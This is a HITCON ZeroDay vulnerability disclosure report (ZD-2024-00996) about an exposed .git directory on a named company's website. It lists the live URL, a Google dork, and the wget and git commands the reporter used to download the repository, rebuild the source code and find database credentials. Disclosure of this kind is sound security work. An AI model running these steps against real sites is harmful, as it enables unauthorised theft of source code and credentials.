國霖機電集團 git leak - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-00996
  •  發信 Vendor: 國霖機電管理服務股份有限公司
  • Title: 國霖機電集團 git leak
  • Introduction: git leak

處理狀態

目前狀態

公開
Last Update : 2024/10/27
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2024/08/27 02:32:33 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2024/08/27 02:45:19 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2024/08/29 23:45:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/09/10 21:01:22 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/09/10 21:01:22 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/09/10 21:01:22 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/27 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-00996
  • 通報者:nhd1261 ({{萌新}})
  • 風險:高
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.goingnet.com.tw/.git/

敘述

透過Google Hacking的方式找到此網站index of未關閉,並有.git目錄,嘗試訪問config內所指向的github連結,發現網頁404,可能是刪除或未公開。
Payload: index of /.git
圖片

使用git將此目錄完全下載下來
wget -r --no-parent --reject "index.html*" https://www.goingnet.com.tw/.git/

嘗試透過.git恢復網頁內容,成功獲取到網頁原始碼。
git init
git reset --hard
圖片

其中發現如資料庫帳密等資訊
圖片

備註:所有檔案已於通報後刪除。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;